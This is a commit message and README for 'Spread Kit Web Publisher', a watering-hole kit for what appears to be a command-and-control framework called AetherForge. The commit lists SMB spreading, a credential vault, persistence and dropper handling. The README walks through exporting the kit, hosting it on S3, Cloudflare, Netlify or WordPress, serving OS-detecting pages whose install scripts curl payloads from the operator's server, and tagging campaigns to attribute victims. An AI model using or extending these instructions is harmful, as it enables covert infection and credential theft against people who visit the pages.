feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

spread-kit-web-publisher/README.md

@@ -0,0 +1,38 @@
+# Spread Kit Web Publisher
+
+Static **waterhole** kit for AetherForge. Upload the folder (or a customized ZIP from **Emberwake → Export spread kit**) to any static host:
+
+- Amazon S3 + CloudFront
+- Cloudflare Pages
+- Netlify / Vercel
+- Owned WordPress / CMS (HTML block or custom page template)
+
+## Quick start
+
+1. Forge and pin a build in the command deck.
+2. Open **Emberwake** → set server URL + campaign → **Export spread kit ZIP**.
+3. Unzip and upload all files to your host root (or subpath).
+4. Share the page URL with `?c=campaign-name` for attribution.
+
+## Manual placeholder replace
+
+If you skip the API export, replace in all files:
+
+| Placeholder | Value |
+|-------------|-------|
+| `{{SERVER_URL}}` | `http://192.168.1.50:8989` or your tunnel URL |
+| `{{BUILD_ID}}` | Pinned build UUID (optional) |
+| `{{CAMPAIGN}}` | Default campaign slug |
+| `{{CAMPAIGN_QUERY}}` | `?c=slug` or empty |
+| `{{PIN_QUERY}}` | `?pin=uuid` or empty |
+
+## Files
+
+- `index.html` — auto-detects OS, links to installers
+- `install.ps1` / `install.sh` / `install.command` — curl/irm to your server
+- `assets/aether.css` — dark steampunk styling
+- `campaigns/README.md` — campaign param docs
+
+## Public builds (login page)
+
+Unauthenticated downloads also work via `GET /api/v1/public/builds` when the operator enables public builds or marks builds pinned/public.